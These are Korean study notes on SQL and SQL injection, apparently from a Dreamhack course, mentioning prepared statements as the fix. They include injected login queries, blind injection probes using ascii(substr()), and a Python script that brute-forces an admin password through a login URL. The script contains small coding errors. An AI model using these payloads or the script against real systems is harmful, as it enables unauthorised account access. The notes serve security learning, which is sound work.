Database: 데이터가 저장되는 공간
DBMS : 데이터베이스를 관리하는 어플리케이션
Relational(관계형) : 행과 열의 집합인 테이블 형식으로 데이터를 저장
비관계형 : 테이블 형식이 아닌 키-값 (Key-Value) 형태로 값을 저장
CREATE
CREATE DATABASE Dreamhack;
USE Dreamhack;
#Board 이름의 테이블 생성
CREATE TABLE Board(
idx INT AUTO_INCREMENT,
boardTitle VARCHAR(100) NOT NULL,
boardContent VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
);
INSERT, SELECT, UPDATE
INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'World !',
Now()
);
SELECT
boardTitle, boardContent
FROM
Board
Where
idx=1;
UPDATE Board SET boardContent='DreamHack!'
Where idx=1;
: DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 기법
: 인젝션 공격은 이용자의 입력값이 애플리케이션의 처리 과정에서 구조나 문법적인 데이터로 해석되어 발생하는 취약점
: 악의적인 입력값을 주입해 의도하지 않은 행위를 일으키는 것
로그인 기능을 위한 쿼리
/
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- : 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
/
SELECT FROM accounts WHERE user_id='dreamhack' and user_pw='password'
SQL injection으로 조작한 쿼리
/
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- : 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
/
SELECT FROM accounts WHERE user_id='admin'
취약점 : 이용자의 입력값이 포함된 쿼리를 동적으로 생성하고 사용하면서 발생
해결방안 : SQL 데이터를 처리할 때 쿼리문을 직접 생성하는 방식이 아닌 Prepared Statement와 Object Relational Mapping (ORM)을 사용
Prepared Statement는 동적 쿼리가 전달되면 내부적으로 쿼리 분석을 수행해 안전한 쿼리문을 생성
: 질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법
#첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
#두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
Requests 모듈 GET
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
Requests 모듈 POST
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
ex)
#!/usr/bin/python3
import requests
import string
url = 'http://example.com/login' # example URL
params = {
'uid': '',
'upw': ''
}
tc = string.asciiletters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")